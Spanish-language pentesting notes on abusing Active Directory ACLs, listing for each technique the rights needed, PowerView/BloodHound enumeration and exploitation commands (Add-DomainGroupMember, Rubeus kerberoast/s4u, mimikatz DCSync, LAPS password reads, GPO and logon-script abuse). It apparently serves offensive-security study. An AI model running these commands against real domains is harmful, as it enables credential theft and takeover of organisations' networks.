ACL
Modelo de Control de Acceso
Access token: lo que lleva tu proceso/hilo (SID del usuario + SIDs de grupos + privilegios).
Security Descriptor del objeto:
Owner SID
DACL (quién puede/qué puede)
SACL (qué se audita: éxitos/fallos)
Evaluación DACL (cómo decide Windows):
Se procesan las ACE en orden canónico: denegaciones explícitas → permisos explícitos → heredadas.
Si una deny encaja (por usuario/grupo), bloquea, aunque haya “allow” más abajo (como en la imagen de Andrew).
Si no hay deny aplicable, se buscan “allow” que cubran el acceso solicitado.
Tipos de ACE que nos interesan para escalada: GenericAll, GenericWrite, WriteDacl, WriteOwner, Owner, AllExtendedRights, AddMember (en grupos), derechos específicos como DCSync (replication-*).
¿Por qué importan las ACLs?
Porque permisos delegados o mal configurados crean caminos a:
Añadirte a un grupo (p. ej., AddMember sobre un grupo privilegiado).
Resetear contraseñas (extended right sobre usuarios).
Cambiar DACL/Owner (persistencia/PE).
DCSync (replicar hashes del dominio si tienes las 2–3 rights de replicación sobre el root).
Herramientas que mapean ACLs con acciones
Identificación y explotación de ACLs
Añadirse a un grupo privilegiado
Derechos
Sobre el grupo objetivo:
WritePropertydel atributo member o AddMember (Extended Right), o GenericWrite/GenericAll.
Enumeración
PowerView:
Find-InterestingDomainAcl -ResolveGUIDs(filtra porAddMember,GenericWrite,GenericAll).Específico:
Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDsy buscar tu identidad en las ACE.BloodHound: busca aristas AddMember/GenericWrite/GenericAll hacia ese grupo.
Explotación
PowerView:
Add-DomainGroupMember -Identity "Domain Admins" -Members <tú>(o añade primero permisos conAdd-DomainObjectAclsi tienesWriteDacl).
Resetear contraseña de otro usuario (sin conocer la actual)
Derechos
Sobre el usuario objetivo: Extended Right Reset Password (o AllExtendedRights/GenericAll).
Enumeración
PowerView:
Find-InterestingDomainAcl -ResolveGUIDs(filtra porResetPassword/AllExtendedRights).ADModule (visión cruda):
(Get-Acl 'AD:\CN=victim,...').Accessy buscar el derecho (sin resolución de GUID).
Explotación
PowerView:
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
Kerberoast escribiendo un SPN en una cuenta que controlas
Derechos
Sobre esa cuenta (usuario/computer):
WritePropertyde servicePrincipalName (o GenericWrite/GenericAll).
Enumeración
Get-DomainObjectAcl -SamAccountName <cuenta> -ResolveGUIDs(buscaservicePrincipalName).BloodHound: edge GenericWrite sobre la cuenta.
Explotación
PowerView:
Set-DomainObject -Identity <cuenta> -Set @{'servicePrincipalName'='app/http/srv'}Luego:
Rubeus kerberoastpara obtener y crackear el TGS.
AS-REP Roast (deshabilitar preauth en una víctima)
Derechos
Sobre el usuario objetivo:
WritePropertyde userAccountControl (o GenericWrite/GenericAll).
Enumeración
Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs(mirauserAccountControl).
Explotación
PowerView:
Set-DomainObject -Identity victim -Xor @{'useraccountcontrol'=4194304}(bit DONT_REQ_PREAUTH)Rubeus asreproastpara capturar AS-REP y crackear.
Shadow Credentials (PKINIT sin contraseña)
Derechos
Sobre el usuario/objeto objetivo:
WritePropertyde msDS-KeyCredentialLink (o GenericWrite/GenericAll).
Enumeración
Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs(buscarmsDS-KeyCredentialLink).
Explotación
Herramientas: Whisker / funciones para KeyCredentialLink → añades tu clave.
Luego TGT via PKINIT (Rubeus
/pkinit) y suplantas esa identidad.
RBCD (Delegación basada en recurso)
Derechos
Sobre el equipo recurso (TARGET$):
WritePropertyde msDS-AllowedToActOnBehalfOfOtherIdentity (o GenericWrite/GenericAll).
Enumeración
Get-DomainObjectAcl -SamAccountName TARGET$ -ResolveGUIDs(buscar ese atributo).
Explotación
Crea/comanda una cuenta máquina que controles (Powermad
New-MachineAccounto una ya tuya).Escribe el msDS-AllowedToActOnBehalfOfOtherIdentity del TARGET$ con el SID de tu máquina.
Rubeus s4u:
Rubeus s4u /user:ATTACKER$ /aes256:<key> /impersonateuser:DA /msdsspn:cifs/TARGET
Constrained Delegation (clásica)
Derechos
Sobre la cuenta delegante (user/computer):
WritePropertyde msDS-AllowedToDelegateTo (o GenericWrite/GenericAll).
Enumeración
Get-DomainObjectAcl -SamAccountName delegatingAcct -ResolveGUIDs.
Explotación
Añade SPNs de destino a msDS-AllowedToDelegateTo.
Rubeus s4upara S4U2Self/S4U2Proxy y obtener TGS de servicios remotos.
DCSync (replicar hashes del dominio)
Derechos
Sobre la raíz del dominio (y a veces Config): Extended Rights DS-Replication-Get-Changes, …-All, (y en algunos entornos …-In-Filtered-Set).
Enumerar
PowerView (sobre root DN):
(Get-Domain).DistinguishedName | % { Get-DomainObjectAcl -SearchBase ("LDAP://"+$_) -ResolveGUIDs } | ? { $_.ObjectAceType -match 'Replicat' }BloodHound: Find Principals with DCSync Rights.
Explotar
mimikatz "lsadump::dcsync /domain:corp.local /user:krbtgt"o
secretsdump.py(Impacket).
Tomar propiedad / abrir DACL de un objeto y luego concederme todo
Derechos
WriteOwner o ser Owner del objeto → asumir propiedad.
WriteDacl → modificar la DACL y darme GenericAll.
Enumeración
Find-InterestingDomainAcl -ResolveGUIDs(filtra porWriteOwner/WriteDacl).
Explotación
Set-DomainObjectOwner -Identity "CN=Target,..." -Owner <yo>Add-DomainObjectAcl -TargetIdentity "CN=Target,..." -PrincipalIdentity <yo> -Rights All
LAPS (leer la contraseña local admin de equipos gestionados)
Derechos
Sobre equipos: permiso de lectura de atributo ms-Mcs-AdmPwd /
ms-Mcs-AdmPwdExpirationTime.
Enumeración
Get-DomainObjectAcl -SearchBase "LDAP://OU=Equipos,..." -ResolveGUIDs(buscar lectura sobre esos atributos).
Explotación
ADModule:
Get-ADComputer PC01 -Properties ms-Mcs-AdmPwd | Select -Expand ms-Mcs-AdmPwdAccede por SMB/WinRM con esa contraseña (privilegios locales → escalar lateralmente).
GPO Link Abuse (enlazar un GPO malicioso a una OU)
Derechos
Sobre la OU:
WritePropertyde gPLink (o GenericWrite/GenericAll).Para editar el GPO: derechos sobre el objeto GPO y escritura en SYSVOL del GPO.
Enumeración
OU:
Get-DomainObjectAcl -Identity "OU=Servers,..." -ResolveGUIDs(buscargpLink).GPO: ACL de
CN={GUID},CN=Policies,...y permisos NTFS en\\<dc>\SYSVOL\....
Explotación
Herramienta: SharpGPOAbuse (crear Scheduled Task/Local Admin vía GPP).
O modificar
gPLinkpara enganchar tu GPO ya preparado.
Cambiar logon script / profile path de una víctima (ejecución en su contexto)
Derechos
Sobre el usuario:
WritePropertyde scriptPath / homeDrive/homeDirectory / profilePath.
Enumeración
Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs.
Explotación
Set-DomainObject -Identity victim -Set @{'scriptPath'='\\server\share\run.cmd'}Script se ejecutará en su próximo logon.
Agregar SPNs a equipos (abuso de cuentas máquina)
Derechos
Sobre el equipo:
WritePropertyde servicePrincipalName (o GenericWrite/GenericAll).
Enumeración
Get-DomainObjectAcl -SamAccountName PC01$ -ResolveGUIDs.
Explotación
Set-DomainObject -Identity PC01$ -Set @{'servicePrincipalName'='cifs/otrohost'}Útil para ciertos flujos de delegación/roasting.
Última actualización